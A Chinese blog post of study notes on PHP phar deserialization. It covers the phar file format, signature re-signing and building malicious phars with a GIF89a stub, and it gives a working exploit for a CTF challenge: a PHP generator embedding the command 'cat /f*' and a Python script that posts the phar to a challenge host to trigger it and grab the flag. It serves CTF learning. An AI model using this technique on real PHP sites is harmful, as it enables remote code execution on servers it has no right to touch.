LOADING

加载过慢请开启缓存 浏览器默认开启

phar反序列化学习

2023/10/3

phar介绍

phar是什么

在php手册中,phar的简介是这样的

phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做“phar”(PHP 归档)文件的方法,以便于分发和安装。 除了提供此服务外,phar 扩展还提供了一种文件格式抽象方法,用于通过 PharData 类创建和操作 tar 和 zip 文件,就像 PDO 提供访问不同数据库的统一接口一样。与不能在不同数据库之间转换的 PDO 不同,phar 还可以使用一行代码在 tar、zip 和 phar 文件格式之间进行转换。参见 Phar::convertToExecutable() 中的示例。
什么是 phar?phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。

默认开启版本 PHP version >= 5.3

简单来说,phar就是一种php的压缩包,里面可以存储多个文件,然后不用解压php就可以执行里面的文件(其实这更像是一个文件夹)

phar怎么组成

phar由四部分组成

  1. stub:算是phar的文件头,用来标识这个文件,他其实就是一段php代码,代码需要有特定的格式为**xxx,这个的意思就是在这段代码里前面是什么不重要,但是最后必须要有一段__HALT_COMPILER()**,否则php不会认出来
  2. manifest:用于存放文件的属性等信息,全称是 a manifest describing the contents ,可以存放用户自定义的Meta-data,所以是phar反序列化攻击的核心点
  3. contents:用于存放phar文件的主体内容,全称是 the file contents
  4. signature:是phar的签名,放在文件末尾,是可选参数,尾部的数字代表如下:01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

这里要注意如果我们修改了文件内容,前面就会无效,这里就需要更换一个新的签名,计算的脚本如下:

from hashlib import sha1
with open('test.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
    file.write(newf) # 写入新文件

phar怎么生成

首先需要去把php.ini的phar.readonly从On改成Off,如果前面有分号注释记得删了
然后使用如下代码

<?php
class test{
    public $name='gdd';
}
$phar = new Phar('test.phar');//新建一个空的phar
$phar->startBuffering();//开始填入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//添加头,GIF89a表示这是gif来绕过,HALT_COMPILER()说明这是phar让php认出来
$o = new test(); //新建一个对象
$phar->setMetadata($o); //把对象丢进data
$phar->addFromString('test.txt', 'test') ;//添加正文内容,可以自定义phar压缩包里面的文件和文件内容
$phar->stopBuffering(); //停止填入

生成的文件长这样
image.png

phar怎么反序列化

反序列化的成因

前面也说到在manifest里可以存放序列化数据, PHP 使用 phar_parse_metedata() 函数解析 meta 数据时,会调用 php_var_unserialize() 函数进行反序列化。
然后配合上phar伪协议phar://的触发,然后再搭配上一些受影响的函数,让他进行反序列化,受影响的函数有这些
image.png

反序列化的利用条件

  1. 首先需要有上面这些受影响的函数,就是需要入口
  2. 在题目中有存在可以利用的魔术方法作为POP链
  3. 文件操作函数可控,关键字没有被过滤

反序列化的例子

from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag\{.+?\}'
url="http://3546e630-6a37-4301-b909-64fa15c11dba.node4.buuoj.cn:81/"
params={
    'pear':'1.phar',
    'apple':'phar://1.phar'
}
if os.path.exists('1.phar'):
    with open('1.phar', 'rb') as file:
        f = file.read() 
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型和GBMB标识
    newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
    with open('newtest.phar', 'wb') as file:
        file.write(newf) # 写入新文件

    #删除源文件
    os.remove('1.phar')

with open('newtest.phar','rb') as fi:
        f = fi.read()
        ff=urllib.parse.quote(f)
        # print(ff)
        fin=requests.post(url=url+"pairing.php",data=ff,params=params)
        #fin的post内容
        print(fin.url)
        # print(fin.text)
        matches = re.findall(pattern, fin.text)
        for match in matches:
            print(match)
        #查找fin中的flag字段
# os.remove('newtest.phar')
<?php
class story{
    public $eating = 'cat /f*';
    public $God='true';
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$o = new story();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

例题

newstarctf2023 week5 “Unserialize Again”

https://www.mi1k7ea.com/2019/01/01/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E